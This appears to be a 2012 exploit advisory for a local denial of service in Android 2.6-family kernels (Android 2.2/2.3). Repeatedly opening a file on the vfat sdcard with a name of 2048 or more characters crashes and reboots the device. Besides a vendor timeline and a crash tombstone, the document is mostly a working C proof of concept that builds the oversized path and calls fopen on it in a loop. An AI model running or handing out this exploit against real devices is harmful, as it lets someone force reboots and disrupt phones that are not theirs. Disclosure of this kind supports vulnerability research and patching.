Android Kernel 2.6 Denial Of Service

`# Exploit Title: Android Kernel 2.6 Local DoS  
# Date: 12/7/12  
# Author: G13  
# Twitter: @g13net  
# Versions: Android 2.2, 2.3  
# Category: DoS (android)  
#  
  
##### Vulnerability #####  
  
The Android OS is vulnerable to a local DoS when a filename with a  
length of 2048  
or larger is attempted to be written to the sdcard(vfat fs) multiple times.  
  
The result of successful running of the exploit code is the system restarting.  
  
The vulnerability only effects Android kernels that are in the version  
2.6 family.  
  
##### Vendor Timeline #####  
  
The Android Security Team has been contacted with updated PoC code and  
details.  
  
They have been aware of this vulnerability for over a year.  
  
##### Tombstone #####  
  
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***  
Build fingerprint:  
'verizon/SCH-I800/SCH-I800:2.3.4/GINGERBREAD/EF01:user/release-keys'  
pid: 349, tid: 363, name: SensorService >>> system_server <<<  
signal 8 (SIGFPE), code -6 (?), fault addr 0000015d  
r0 00000000 r1 00000008 r2 00000040 r3 00000000  
r4 2a114310 r5 00000000 r6 51504690 r7 00000025  
r8 2a114330 r9 2a114350 sl 00000003 fp 00000003  
ip fffd4084 sp 51501eb0 lr 40039b70 pc 40037cf0 cpsr 20030010  
d0 4271bc7bd0b80000 d1 0000000000000000  
d2 0000000000000000 d3 427181eae9200000  
d4 0000000000000000 d5 0000000000000000  
d6 0000000000000000 d7 0000000000000000  
d8 0000000000000000 d9 0000000000000000  
d10 0000000000000000 d11 0000000000000000  
d12 0000000000000000 d13 0000000000000000  
d14 0000000000000000 d15 0000000000000000  
d16 3fe99999a0000000 d17 3fe999999999999a  
d18 0033003200310030 d19 0000000000000000  
d20 3fc554e7eb0eb47c d21 3e66376972bea4d0  
d22 3f4de16b9c24a98f d23 3fb0f4a31edab38b  
d24 3fede16b9c24a98f d25 3fe55559ee5e69f9  
d26 0000000000000000 d27 0000000000000000  
d28 0000000000000005 d29 0000000000000000  
d30 0000000000000000 d31 0000000000000000  
scr 20000010  
  
backtrace:  
#00 pc 0000dcf0 /system/lib/libc.so (kill+12)  
#01 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#02 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#03 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#04 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#05 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#06 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#07 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#08 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#09 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#10 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#11 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#12 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#13 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#14 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#15 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
#16 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)  
  
##### PoC #####  
  
#include <stdio.h>  
  
int main(int argc, char** argv) {  
char buf[5000];  
int j,k;  
FILE *fp;  
/* Path to sdcard, typically /sdcard/ */  
strcpy(buf,"/sdcard/");  
for(k=0;k<=2048;k++){  
strcat(buf,"A");  
};  
for(j=0;j<=50;j++){  
fp=fopen(buf,"w");  
};  
return 0;  
}  
  
`